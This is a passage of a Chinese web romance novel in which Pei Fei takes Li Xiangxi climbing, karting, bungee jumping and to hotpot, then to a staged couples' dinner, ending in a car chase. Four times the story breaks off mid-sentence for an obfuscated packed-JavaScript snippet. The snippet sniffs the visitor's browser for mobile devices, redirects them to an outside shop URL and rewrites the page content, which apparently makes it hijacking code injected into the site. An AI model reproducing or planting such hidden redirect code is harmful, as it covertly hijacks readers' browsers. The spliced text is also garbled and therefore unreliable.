因为这一幕太奇怪了,乖乖洗碗的裴非,宽松的毛衣,让她看出了一点居家男友的味道,好像他们是同居恩爱的男女朋友,他在给她做早餐,做家务。 “去收拾一下,待会儿带你去一个地方。”裴非语气有淡淡的笑意, 黎向浠抬头想问去哪里,但看见他说完之后,又沉浸在洗碗之中,她也就没问出口,乖乖去房间收拾东西。 车子开了一个小时,停在了一家室内攀岩外面,黎向浠跟着裴非走进去,前台的工作人员看见裴非,似乎是认识,指引他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085563|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往里面走。 里面没有人,清场了。 黎向浠站在软垫子前,裴非帮她整理设备,“没有教练吗?我不会玩。” 她有点紧张,小小紧紧握着拳头,抓住安全绳,这还是她第一次攀岩,根本就不知道往哪走,往哪落脚。 “我就是教练。”裴非说。 什么?! 黎向浠看着他,他要亲自教? 这让她想到裴非教她开车的时候,温温柔柔,她放松不少。 裴非很专业地帮她检查好设备,带她走到墙壁底下。 “先从最简单的开始,颜色相同的石头是一条路线,我们先从最简单的开始,你只能抓绿色的石头。” 黎向浠稀里糊涂点头。 裴非一块一块指着,说左手放在这,右脚踩在那,右手怎么上,左脚怎么蹬。 黎向浠机械跟着。 一段路程下来,黎向浠额头出了微汗。 这会儿,裴非也带好了安全绳,站在她身侧另一条路的起点,“我们来比赛,看看谁先登顶。” “好!” 黎向浠斗志起来。 她看得出裴非那条线路更难,但她是新手,这样公平一些。 两人做着开始的准备,裴非低声说了句三二一,两个就开始往上攀爬。 不知道是裴非故意的,还是他那条路太过困难,黎向浠发现他总是落后一步。 她的手拍到顶的时候,裴非还是晚了一步。 “我赢啦!”黎向浠垂头,开心笑着。 她筋疲力尽,出了很多汗,脸颊红彤彤的,小嘴大口呼吸,前额的碎发打湿了,衣服后背也是。 但很爽,似乎每个毛孔都透着气,顺畅呼吸着。 裴非停在她侧后方,仰头,勾了勾嘴角,“嗯,你赢了。” 裴非慢慢往下落,稳稳着地。 黎向浠还在原地,她休息一会儿,太累了,手都在发抖。 底下,裴非已经站到她身后了。 “我掉下去的话会砸到你的。”黎向浠不敢动,生怕脚滑掉下去。 裴非脱掉安全绳,仰头,“累的话跳下来吧,我接住你。” 黎向浠不太相信,尽管有安全绳,底下还有垫子,但总觉得不安全。 “没关系,试试,慢慢下来。”裴非说。 黎向浠就松开脚步,只用手抓着石头,但往下掉的时候还是抵不住重力。 裴非稳稳接住她。 不是拥抱,是得体地扶着,让黎向浠少了很多压力。 落地那一刻,黎向浠才看见裴非额头上的薄汗。 但他并没有休息,帮她脱掉安全绳,又拍了拍她泛红的掌心缓解疲劳,黎向浠就乖乖站着,任由他帮忙。 她一直抓着石头,手指发麻,他给她一根一根地放松着。 他的手很暖和,似乎裴非的温度永远比她高一个度,宽大的手掌包裹住她手背,稳稳的安全感蔓延到黎向浠四肢百骸。 “明天你的肌肉会发酸。”裴非提示她。 “没事。”黎向浠摇头。 运动嘛,肯定会的。 她看着裴非,他很认真,像是教练对学员那样负责,并不介意跟她肢体接触了。 似乎他们的关系又好了。 “我饿了。”黎向浠有些小撒娇的语气。 裴非鼻腔轻哼,“嗯,弄好带你去吃饭。” - 42. 他默许 吃饭中,整个中午黎向浠的心情都是开心的,尽管走在京北街道上,风有点冷。 初冬来临,京北气候又冷又干燥,和山城差别很大,她来到这里之后,补水的护肤品多了不少。 这会儿风吹过,刺着她的脸颊和脖颈,黎向浠不自觉将下巴塞进高领里。 裴非原本走在她身侧,他往前跨了一步,挡在她跟前,挡去肆意的妖风,一股暖意袭来,还有淡淡的沉木香味。 裴非今天穿着夹克和高冷,他身材高大,肩宽腰窄,像是一堵不透风的墙,黎向浠就眼巴巴看着,嘴角偷笑。 她不知道是不是裴非贴心地给她挡风,但她此刻就愿意这样觉得。 “我们去哪里呀?现在就要回家了吗?”她的语气有些失望。 上午的攀岩让她短时间忘记了很多乱七八糟的事情,那个时候眼里只有五颜六色的石头,努力记住脚踩哪里,手要抓紧哪里,根本不管什么联姻什么病痛。 只是时间很短暂,才一会功夫,就到了下午。 “还想去玩?”裴非转身,他停在她跟前,也止住她脚步。 裴非还是戴上了鸭舌帽的,除了在家,他都一直戴着。 黎向浠撞上那双柔和的眼睛,心脏猛烈跳动起来,砰砰砰地,好像要跳出她胸口了。 她害怕如果说还想去玩的话,会变成裴非的负担,于是她尴尬笑了笑,“没……没有。” 她不太擅长说谎,眼神闪躲着,又皱了皱鼻子,生怕别人不知道她这句话有多违心。 裴非没说话,只是走到布加迪旁边,帮她打开车门。 车子没有走在老宅的路上,但也是去往郊区,停在一家卡丁车馆跟前。 这里的卡丁车道很长很弯弯绕绕,占地面积很大,所以需要开在郊区,没办法开在寸土寸金的京北市中心。 工作人员带她去换衣服,出来的时候,裴非已经站在起点的位置等她了。 他一身黑色的赛车服,一个粉色头盔放在腰和手肘指尖,另一只手插兜,慵懒看着车道。 听到黎向浠的动静他才转头。 黎向浠第一次见他现实里穿这类赛车服,很好看,衬得他腿很长,身材很好。 她是一件粉色的赛车服,站在他身边乖乖的,像是小白兔跟大灰狼不小心同框了。 裴非帮她戴好头盔,敲了两下。 一个胖男孩从后面出来,“姐姐!我们来比赛!” 黎向浠疑惑。 裴非说:“他是许子炀侄子,许子炀对灌醉你的事情很抱歉,所以找人哄你来了。” “那这个场地?”黎向浠转头看着只有寥寥几个工作人员的地方。 “是他的。” 黎向浠内心哇塞了一下,有钱真好,有车队还有卡丁车馆。 “不会那个攀岩馆也是他的吧?” “不是。” “你的?”黎向浠好奇,不然怎么没有人。 裴非笑了,“京北也不都是姓许或者裴。” 黎向浠嘿嘿一声,挠了挠脑袋,发现挠的是头盔,顿时有点尴尬,又不好意思地吐了吐舌头。 比赛开始,裴非双手搭在一旁的栏杆,看着她说:“加油,赢了这个小屁孩。” 许航不干了,“哥哥,你也太偏心了,我还是看孩子,你就让他欺负我,你不会是喜欢这个姐姐吧?” 黎向浠屏住呼吸。 不知道为什么,黎向浠的潜意识很害怕裴非生气。 裴非攥了攥手指,不露痕迹的顿了一下,笑着淡淡回:“你叫许子炀叔叔,管我叫哥哥?” 没想到他的重点是这个,黎向浠悄悄松了一口气了。 挺好,没有生气。 “你长得帅叫哥哥,你还没告诉我,这个嫂子是不是你女朋友呢!” 黎向浠面露尴尬,突然发现有些东西是遗传,比如八卦。 许航和许子炀的八卦系统一样灵敏,而且口无遮拦。 裴非眉梢轻挑,“你们比完,你跟我比一场,赢了我告诉你。” 许航显然不乐意,“你就是欺负我!明知道我赢不了你的!” 裴非:“来,准备。” 话题就这样被裴非轻轻带过去。 他举起旗子的时候,余光看向黎向浠,发现她方向盘抓的很紧,似乎对刚刚的问题耿耿于怀。 裴非笑着朝黎向浠,提了些音量说:“准备开始了,赛车手集中注意力。” 黎向浠这才回神,只见裴非含笑看着她,她眼神慌乱。 没等她调整状态,旗子落下,许航弹射一般冲出去,黎向浠管不上什么羞涩,一股脑追赶。 一轮下来,她连许航的车尾巴都摸不着。 大概是许航没玩够,还要闹着玩,黎向浠也觉得可惜,于是陪着他,玩了五六圈,圈圈失败。 黎向浠有些挫败了。 她居然玩不过一个小孩! 黎向浠走下去,站在栏杆旁边,脱下头盔。 “哈哈哈哈哈姐姐玩不过我生闷气了!哥哥你女朋友生气了!” “你瞎说什么?”黎向浠本就尴尬,这会儿还被起哄,她拧着眉头回怼,眼神悄悄看一眼裴非。 裴非站在她身侧,偏头,有些好笑看着她泛红的脸颊。 “真生气了?”裴非隐着笑意问。 黎向浠尴尬得想遁地,首先,这句话的重点在女朋友,其次,被一个小屁孩惹生气,多没面子。 但她连输六轮,本来就很没面子了。 她难以启齿,撅着嘴看向赛车道。 耳畔却响起裴非的笑声,“这场地都是许航的,他天天跑,许子炀都不一定能赢他,不用在意这个。” “但我今天一盘都没有赢!”黎向浠还是挫败。 这就跟玩游戏似的,知道自己菜,但不能摊开来让所有人都知道自己菜,还连跪六把的那种。 裴非哂笑,他拿起后方的黑色头盔,戴上,走到车上朝许航说:“我们比一场。” “我知道你很厉害,但我也不差!要是我赢了,你请我吃肯德基!”许航兴致冲冲。 裴非只是颔首。 黎向浠的兴趣来了,她当着裁判,挥旗子,许航率先冲过去。 黎向浠茫然站在原地,“你怎么不走?” 裴非看着她说:“我帮你赢了的,你请我吃什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093701|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,卡丁车才像离弦的箭飞出起点,徒留脑子一片空白的黎向浠,茫然站在原地。 他和许航的比赛,怎么算是帮她赢? 黎向浠抿着嘴巴看向赛道中央。 裴非虽然起步晚,但他的路线很精准,总是知道哪里用时短,怎么过弯快,似乎把赛车的专业水准放在比赛里了。 一局下来,开得许航心服口服。 “不玩了!你一个大人欺负小孩!”许航脱下头盔,抱手站在黎向浠旁边,肩膀蹭着她。 “姐姐你别喜欢他!他欺负小孩!” 黎向浠哭笑不得。 裴非没有下车,朝她扬了扬下巴,“我们比一场。” 许航显然已经输急眼了,连连拽着她的手说:“姐姐别跟他比!他就是装逼来的!赢了我还想赢你!” 裴非睨着许航的肉手。 许航虽然说是小孩,只是跟他比算小孩,现在小朋友个子都高,他比黎向浠还要高,又胖又壮。 许航似乎察觉到他眼底的锋利,悄悄松开了。 黎向浠并没有发现,她转身去拿粉色的头盔,戴上,让许航当裁判。 “谁输了,今晚的晚餐谁请客。”裴非这样说着,比赛就开始了。 粉色和黑色的卡丁车在赛道紧追我赶,一会儿你在前方,一会儿你在后方的,咬得很紧。 黎向浠全然顾不上周围的情况,一个劲儿的开开开。 这个速度对于习惯了F1比赛的裴非来说,似乎是小孩在玩学步车。 他保持在她左右,不快也不慢,等到最后重点,他才慢慢减少些速度,精准把控比她晚了一秒抵达。 许航原本还兴奋,想看看黎向浠被甩出一大圈的情况有多过瘾,结果看见裴非放水,他直接没了观赛兴致。 小屁孩抱着手坐在椅子上,见两人停稳,嘴里酸酸来一句,“没意思,难怪叔叔让我过来,他肯定也不看你们谈恋爱。” 黎向浠不敢往旁边看,不知道此刻裴非是什么表情,但她已经脸红了,这个小孩总是误会他们的关系,但裴非并没有解释的意思,一直拖到了现在,游戏已经结束了,小孩已经自动把他们归为男女朋友了。 “他是怕输给我。”裴非这样回答。 他居然没有把中心放在“看你们谈恋爱”这句话上。 黎向浠想,以前他们也被误会了很多次,每次解释好像都是一样的结果,并没有人相信,可能是因为这样,裴非才失去了解释的欲望。 也是,误会就误会吧,反正又不会掉块肉,玩得开心就好。 这样想着,黎向浠无所谓起来,她连忙跟着附和,“对呀,你叔叔肯定是把书给我们了!” “什么叫我叔叔怕输给你们?我赢了你,我叔叔肯定能赢他!你们臭情侣!欺负我!哇哇哇呜!” 许航说着说着,急眼了。 黎向浠手忙脚乱下去哄着。 裴非后脚慢吞吞走过去,“吃肯德基?” 许航哭声戛然而止,吸了吸鼻子笑出声,“好!吃肯德基!” 又拉着他们两个的手说:“走!哥哥嫂嫂!吃肯德基!” 黎向浠:…… - 43. 亲近他 几天后,车队基地休息室。 裴非手机响起。 黎向浠:【小猫探头的表情包】 黎向浠:【不是说今天要带我去哪里?怎么不见人了?】 黎向浠:【小猫委屈的表情包】 裴非坐在电竞椅上,鼻腔轻哼,【下午,换好运动衣服等我。】 黎向浠:【好!】 裴非:【晚上想吃什么?】 黎向浠:【都行。】 裴非:【嗯。】 许子炀还在玩游戏,瞥一眼裴非的表情,他搓了搓手臂的鸡皮疙瘩,“你笑得这么瘆人干什么?谁给你发消息?” 他要探头,裴非将手机往下压,恢复往日的不苟言笑。 许子炀:…… “你不说我也知道,许航那天回来跟我说,”许子炀尖着声音学许航,“哥哥和他女朋友请我吃了一顿肯德基!” “老实交代,你跟黎向浠真在一起了?是不是因为那晚哥们儿灌酒,你们那个那个了?” 裴非将微信页面切换成备忘录,里面有一个菜单,一个吃火锅的清单。 他截图发给许子炀。 许子炀:“做什么?” 裴非:“晚上七点之前,把这东西给我备齐,我来车队拿。” 许子炀:“拿我当跑腿?” 裴非:“你欠黎向浠的。” 许子炀:…… 裴非起身,打算再去看一看那帮赛车手,然后回去接黎向浠。 许子炀探头问:“我打算请浠浠宝贝吃顿饭当做道歉,你去不去?” “嗯。”裴非随口回,关门出去。 “见鬼了,这俩人到底什么情况?” 许子炀摸不着头脑,他给黎向浠发消息:【浠浠宝贝,你跟裴非在一起了?】 黎向浠回了一个疑惑的emoji,【没有呀。】 许子炀:【行吧,不管你了,对了,过两天请你吃饭,当做道歉。】 黎向浠推脱,其实许子炀也没做错什么,朋友喝个酒而已,不用这么谨慎。 但许子炀坚持要请客,还说裴非都答应了,黎向浠也只好硬着头皮答应下来。 许子炀:【那我订餐厅,可以吃辣的吗?】 黎向浠:【当然,山城人,怎么辣都可以。】 许子炀突然觉得有什么信息对上了,他盯着那条消息,摘出来一个【山城】 噢,山城人。 …… 什么?! 山城人!! 许子炀眼珠子快瞪出来了。 裴非不是说那道抓痕是毛挠的吗? 合着是黎向浠干的! 他早就开荤了! 难怪那天黎向浠喝多之后,裴非脖子上有草莓,他打趣,裴非还不在意。 原来已经不是第一次了! 这样算来,裴非一直在撒谎,这俩早就在一起了。 许子炀像是知道自己儿子谈恋爱了那样,迫不及待想要问黎向浠怎么认识的,谁先开始的。 毕竟他很好奇,裴非这种人,是怎么下定决心谈恋爱的。 于是,关于餐厅的位置,许子炀坏笑了一下。 这边,黎向浠穿着便于运动的宽松卫衣运动服,保暖又修身,坐在沙发上,听到外面的车声,她起身跑出去。 裴非没有下车,她直接走去开门,坐上副驾驶。 这几天他们的关系已经恢复如初了,甚至比原来还好,比如裴非每天早上会跟她说早安,早上好,晚上吃完饭回房间之前,黎向浠和他说晚安,裴非也会停下脚步看着她,说晚安。 偶尔两个会有尴尬,但像是转瞬即逝,两个人都能自动调整好状态。 裴非带她去的是极限运动,蹦极。 在郊区山脚下,一片碧绿的河面上。 依旧没有几个工作人员。 测体重,签署承诺书,黎向浠跟着工作人员往上走,裴非在底下看着。 天边是红彤彤的火烧云,但气温却是冷的,黎向浠往下望,裴非的影像变小,双手搭在栏杆上,仰头看着她。 黎向浠不知道他为什么不上来,她准备要跳的时候,看见了裴非举起的双手。 他在用手语和她说:把不开心的事情喊出来。 黎向浠看得清清楚楚,裴非手语很娴熟,不像是初学者,毕竟当初在清吧,他是可以看懂的。 橘色的夕阳落下去,裴非身侧勾起长长的影子,他一身黑站在那里,像是给了黎向浠一颗定心丸。 原本她有些害怕,第一次蹦极,很高,底下的水绿得像是足球场那样,总觉得摔在上面会很疼,她原本双脚还会颤抖。 这会儿看着裴非,黎向浠居然不害怕了。 她抬手,回了他一句:谢谢。 黎向浠看着对面还剩一半的,像是红色的柿子那样的落日,深吸一口气,张开手。 高空的风从她耳畔吹过,呜呜作响,她看见了京北绵延的山丘,想起山城的高山。 她爬过那里的山,山的后面还是山,以前她觉得一点也不好看,没什么特色,现在她觉得,那简直太美了,有绿油油的树木,有鬼斧神工的自然景观,有她沉沉的思乡之情。 黎向浠大喊了一声:“黎蔓!我的向,到底是向家的向,还是向日葵的向!” 往下纵身一跃。 女生高昂的话语在山谷徘徊,凝固了裴非的嘴角。 原来她也在纠结这个问题。 裴非嘴角起了一抹苦笑,有些出神。 黎向浠走到他身边,前额碎发被风吹得凌乱,“想什么?要不要去跳?” 裴非伸手帮她整理好,“不去了,回老宅,今晚请你吃好吃的。” 他转身往停车场走。 黎向浠小碎步跟在后面,“为什么?你都来了怎么不跳?” 裴非耸耸肩,“不喜欢。” “好吧。”黎向浠也不勉强。 因为她不再刨根问底,裴非肩膀隐隐松了一下。 回城的路上,踏着夕阳,黎向浠又点开了裴非的车载蓝牙,让她爱听的小甜歌,蔓延在原本冷冰冰的车厢内。 裴非一只手靠在车窗上,撑着下巴,一只手操控方向盘,状态慵懒,似乎很享受这些原本他不会听的,奇奇怪怪的歌词。 有些英文歌的歌词很直白,裴非已经熟悉了黎向浠的套路,其实她压根不介意歌词,她就是爱听好听的,他也就当左耳进右耳出。 他们没有开回老宅,而是先去基地,裴非从上面下来的时候,左右手拿了两大袋东西,放进后备箱。 “这是什么?”黎向浠转头问刚坐上驾驶座的裴非。 裴非看着路面倒车,英隽的侧脸有信手拈来的底气。 他淡淡回:“晚餐。” “晚餐这么多?”黎向浠语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105003|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸张。 “对。”他带着浅浅笑意。 黎向浠琢磨着,以往要用到这么多食材的菜是什么,最后得出一个结论。 “你要请我吃火锅吗?!” “聪明。”裴非勾起嘴角。 “噢!那你怎么不让我去买菜!”黎向浠兴奋不已。 蹦极卸去她一身压力,这会儿又有了思念的火锅,这是她来京北之后最开心的一段时间了。 “下次,这次没时间,还得蹦极呢。” “所以是因为赶时间,你刚刚没有跳吗?” “不是。”或许是事情又转回他的问题上,裴非不自然清了清喉咙。 “好吧,真可惜,下次我请你去蹦极,补偿你一次。”黎向浠啧了一声,大眼睛里全是惋惜。 “不用。”裴非立刻拒绝。 黎向浠拧眉,透过反光镜,她看见裴非眼神有些飘忽,没有平时那样干脆。 她往裴非侧脸凑上去,仔细观察他的微表情。 “你老实说,你是不是害怕?”黎向浠心底起了期待。 不然裴非怎么会如此抗拒。 裴非咽了咽口水,性感凸起的喉结出卖了他的不自然。 “噢!我看见你紧张了!不许撒谎!”黎向浠指着它。 裴非没忍住,笑出声。 黎向浠抬头,她离他有五厘米这么近,他的五官在她眼底放大,眉清目秀,帽子打下阴影,黎向浠突然觉得好可惜,裴非这张脸,不应该天天戴帽子,应该拉出去造福众人的眼睛。 正巧是红绿灯,裴非停稳车子,猝不及防间,他头顶的帽子被人拿走了。 他眼神惊了一下,下意识看了看左右是不是有人蛰伏,却并没有任何生气的意思。 换作以前,他一定夺回帽子,眼神狠戾把罪魁祸首赶下车。 这次,他只是确认没有人跟着之后,有些无奈和宠溺地转头。 距离太近,他的呼吸划过她的唇尖,两个人都没想到,差一点就亲上去了。 但两个人都没有躲开,就这样四目相对着。 最后一缕斜阳从两双好看的眼睛前划过,照进彼此的瞳孔,亮晶晶。 “你不应该天天戴帽子。”黎向浠由衷说,“你戴帽子很浪费。” “浪费什么?”裴非轻笑。 “浪费你这张好看的脸。” 裴非:…… 他不是第一次听见别人夸他,但黎向浠的眼神太过虔诚,似乎在欣赏一朵漂亮的花,攥着方向盘的手紧了紧,说不出话。 直到红绿灯过,后车滴了一声,两人才结束这自然的对视。 黎向浠手里把玩着裴非的帽子,问:“你还没回答我呢,你是不是害怕了?” “嗯,是。”裴非含笑回。 “真的?”黎向浠眼睛亮晶晶。 “我害怕,你这么开心?” “因为我才知道,原来你也有害怕的事情,这样感觉,好像又亲近了一点。” 原本黎向浠以为裴非这样的人应该天不怕地不怕,做什么都很好很优秀,比如他赛车很厉害,还会做饭,他教她赛车的时候也很厉害,很适合当个教练,似乎想做什么就能做好什么。 裴非听到的是那句“亲近了一点” 他又不自觉补了一句,“其实我害怕的东西,挺多的。” 多到你要花很多时间了解才行。 - 44. 突发 火锅沸腾,水汽氤氲,桌子上,摆满了一盘盘下火锅的材料,各种丸子蔬菜肉类,一应俱全,应有尽有。 黎向浠用眼神一盘盘数着,毛肚、黄喉、豌豆尖儿、发鱿鱼…… 这些东西有些似曾相识,但又因为都是火锅常吃的东西,黎向浠并没有想起来在哪里见过。 “对了,下午的时候许子炀和我说请吃饭,你也去对吗?” 她这才想起说这件事。 裴非点头,准备往火锅里下一碟生菜。 “别!”黎向浠抓住他手腕,另一只手要抢盘子,“这个是最后放的!应该先放丸子!” 女生掌心柔软细嫩,裴非指尖紧了紧,盘子掐得稳稳当当,黎向浠根本拿不走。 “哎呀,我来我来。”黎向浠并没有发现她对裴非的入侵动作,反而很轻地拍了拍他手背,像是哄小猫那样。 裴非回到座位,黎向浠一边下火锅,一边用锅盖挡住裴非那一边,问他:“看来你真的很少吃这些。” 或许是有了刚刚自然的触碰,裴非伸手覆在她手背,拿过盖子,偏向黎向浠那边。 “嗯。”裴非回。 黎向浠光顾着下菜,根本没发现的的动作,她顺着问:“为什么啊?多好吃。” “没有人陪我吃。” 一瞬间,黎向浠心脏抽了一下,手抖,丸子从高处滑下去,溅起红油滴在裴非的手背上。 黎向浠手忙脚乱拿起抽纸,帮他擦掉,“对不起啊,我刚刚出神了。” “没关系。”裴非依旧不躲,他看着她,轻笑着,任由她擦拭。 火锅吃到一半,黎向浠突然想起一个问题,“你怎么会手语啊?” 她身边很多朋友都会手语,所以一开始觉得裴非会手语,并不是什么稀奇的事情。 今天蹦极的时候,裴非在下面打手语,工作人员看见了,好奇问她,裴非是不是听不到或者不会说话。 黎向浠才反应过来,其实对于大部分人来说,会手语是一件很特别的事情。 “可以和自己对话。”裴非若无其事说。 黎向浠却停止咀嚼。 她想到了裴非的身世,所有人都不知道他的存在,所以小时候他一定很孤单。 她看过去,水汽往裴非方向飘,他微微眯着眼睛,顿时,薄长骇人的眸光平和又亲近。 他的袖子往上挽,露出一节白皙好看的手腕,他拿着筷子慢慢夹起一颗肉丸,害怕肉丸夹不稳掉下去,他动作小心翼翼的。 看上去,很像一个邻家大哥哥。 包括裴非教她的那些东西,很有耐心,之前裴非跟许航的相处也是,一眼看出许航只是想吃肯德基了才闹的。 他很细心,细心的人,感情也很细腻,感情细腻的人,在情感上得不到满足会怎么样? 像一开始的裴非吗? 那会儿的裴非像是一只刺猬,看见她就竖起身上的刺,觉得自己的领地被侵占。 但他即使生气,也没有伤害她,而是自己一个人出去住,那段时间,她害得他无家可归。 黎向浠眼眶泛红,那道心疼的眼神,被裴非一个扔进她盘子里的发鱿鱼截断。 “看什么?”裴非有些好笑地问。 黎向浠眨巴眼,摇头笑说:“没有。” 她想,或许他能说出口,其实也算和解了一部分,其实她还想问,是怎么跟自己对话的,但她怕触及裴非内心的伤疤,还是算了,索性用发鱿鱼堵住自己的嘴巴。 裴非却轻描淡写说:“你是想问我是怎么跟自己对话的?” 黎向浠惊愕抬眼,然后带着一嘴的东西点头如捣蒜。 裴非笑着放下筷子,抽了一张纸递给她,指了指他嘴角。 趁黎向浠擦嘴的时候,裴非演示给她看。 裴非先是问了一句,你叫什么名字? 然后用手语回答:裴非。 他又问:你多少岁了? 裴非手语回答:24。 他问:你今天去哪里了? 再用手语回答:去蹦极,吃火锅了。 …… 黎向浠看着他修长的手,陷入沉思。 怎样压抑的环境,才会逼得一个小孩自己和自己对话的。 “这些,你以后可以跟我说,用手语说也行,我都能看懂。”黎向浠看着裴非,眼神干干净净。 裴非呆滞住。 用手语和自己对话的时候,他不过十岁,后来慢慢习惯一个人的生活,就改掉了这个方式。 这些东西他从没跟任何人说过。 当然,这个世界上还有一个人知道他的这个习惯,那就是蒋牡丹,他的奶奶,一个没有血缘关系的奶奶。 可惜,那会儿,在仅有的通话时间里,他并不能将所有的东西都告诉奶奶,奶奶也没办法一直听他说话,在当时来说,这是一个无解的问题。 正想着,裴非的手机收到了许子炀的信息:【借钱,很多钱。】 裴非:? - 许子炀的请客定在两天后,一个京北高级法餐厅顶层。 黎向浠和裴非一起去的,她穿了一条毛衣裙,外面配了一件风衣。 裴非是黑色的高领,配上黑色的风衣,还有材质上乘的漆皮鞋。 按照许子炀要求穿的,他说要正式一点。 不知道葫芦里卖的什么药,两个人也照做了。 抵达餐厅的时候,许子炀打电话说他堵车了,需要晚一些才到。 他们便跟着服务员指引先上楼。 顶层的餐厅,四面窗户,上面倒映着京北繁华的夜景。 大厅中央有一个外国男人穿着燕尾服在拉小提琴,拉的是轻快甜蜜的曲子,台子旁边铺满了红玫瑰。 大厅里面只有一张长桌,白色桌布,上面摆着红烛、红玫瑰、红酒…… 黎向浠和裴非一人坐在一边,服务员端着盘子上菜。 “稍等一会儿吧,还有一位朋友没来。”黎向浠和服务员说。 服务员笑着应:“那位先生打电话过来,说先上菜的,这是双人份情侣套餐,他特意给二位点的。” 又来,情侣套餐。 黎向浠看了一眼裴非。 裴非也看过来。 一回生二回熟,两个只是无奈,然后就随便让服务员上菜了。 用餐的时候,裴非绅士地帮黎向浠切好牛排,红酒晾在一边。 后怕。 裴非不自觉摸了摸脖子。 两人正聊着天慢慢进食,服务员又推着小推车进来,站在桌子旁边,打开。 里面是一束火红的玫瑰。 整个餐厅似乎不是餐厅,是红玫瑰培训基地,哪里都有,仿佛这个世界只有这一种花一样。 不凑巧的是,红玫瑰他们也碰到过了,所以两个人大概也知道许子炀卖的什么药,不拆穿等着服务员表演。 “今天是我们餐厅的庆祝日子,凡是到店的,都会有一份礼物。” 服务员从玫瑰底下拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115289|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一个盒子。 “这是给二位准备的戒指。”服务员打开。 一对素戒,款式简单,看上去价格不菲。 裴非挑眉。 他知道那晚,自己转过去的一长串数字,都变成什么东西了。 俗。 裴非居然不是排斥,而是有些想笑地腹诽。 直到服务员从盒子底下抽出一张房卡,裴非觉得,许子炀离死期不远了。 “这是我们餐厅赠送的,情侣套房,二位用餐过后,可以去那边休息。” 黎向浠脸颊唰地一下红了。 情侣套房,以前调侃两句无所谓,这可是真刀真枪啊。 她屏住呼吸,怯生生看了一眼裴非,他攥着刀叉,也不知道该如何应对那张房卡。 “放这吧。”裴非硬着头皮说。 至少不能让人干站着。 等服务员出去,两个人才松了一口气,心底默默祈祷不要再搞什么东西了。 小提琴响起,居然是Ayasa的《我爱你》。 这个是慢节奏版本,一种带着岁月慢慢流淌而过,在彼此心上留下痕迹的感觉。 灯光暗下,只有一道落在他们身上的追光,红烛燃了一半,空气氤氲玫瑰浓烈的香味,突如其来的转变让两个人同时错愕抬头。 对上彼此的双眼时,似乎被周遭的氛围带动,不愿再挪走了那般,隔着长桌,遥遥相望。 好像是两个同频共振的灵魂,突然找到了彼此那样,在冷白的追光下,他们看着彼此,缓缓扬起嘴角。 直到一曲结束,如同从梦境中醒来,两人挪走眼神,手变得忙碌起来。 裴非拿着刀叉,四处找要切的牛排。 黎向浠双手在耳边扇风。 “哈哈哈哈,这个餐厅空调有点热哈哈哈哈……” 裴非声音暗哑说:“是有点。” 许子炀始终没有出现,直到晚餐结束,裴非拿着手机对她说:“许子炀不来了,说估计我们都吃好了,他打算喝酒去了,下次再请我们。” 黎向浠笑笑,想着下次她要选在火锅店,总不能火锅里面泡玫瑰了。 裴非拿过戒指,全给了黎向浠,说,“反正是送的,你拿着吧。” 黎向浠想要拒绝,但裴非已经打开她的挎包,塞进去了。 “可是这里面也有男款。”黎向浠有些犯难。 总不能送给沈推凡。 “送给你想送的人就好。”裴非这句话里,带着意味不明。 当然,他们不可能住在酒店,两个人也没有进去看一眼,便出了餐厅。 外面不知何时飘起了小雨,街道地板湿润润,反着路边霓虹灯斑驳的光。 上车之后,黎向浠捂着嘴巴,偷偷打了个哈欠。 “困了?”还是被裴非看见了。 黎向浠有些不好意思地点头。 “睡一会儿,到家我叫你。” 黎向浠也不客气,反正已经习惯了。 她偏头靠在椅子上,眼皮慢慢变重。 睡梦里,黎向浠觉得自己移动速度好快,像是在进行一场F1的比赛,轮子都磨出了火花。 直到车子转弯,离心力袭来,她的肩膀被一只大手护住,免得脑袋撞在车门上。 黎向浠猛地清醒,发现这根本就不是梦,后视镜里,有好几辆车子跟在后面。 裴非神情严肃盯着前方路面,他按下许子炀的手机号。 “我被跟了。” - 45. 误会他 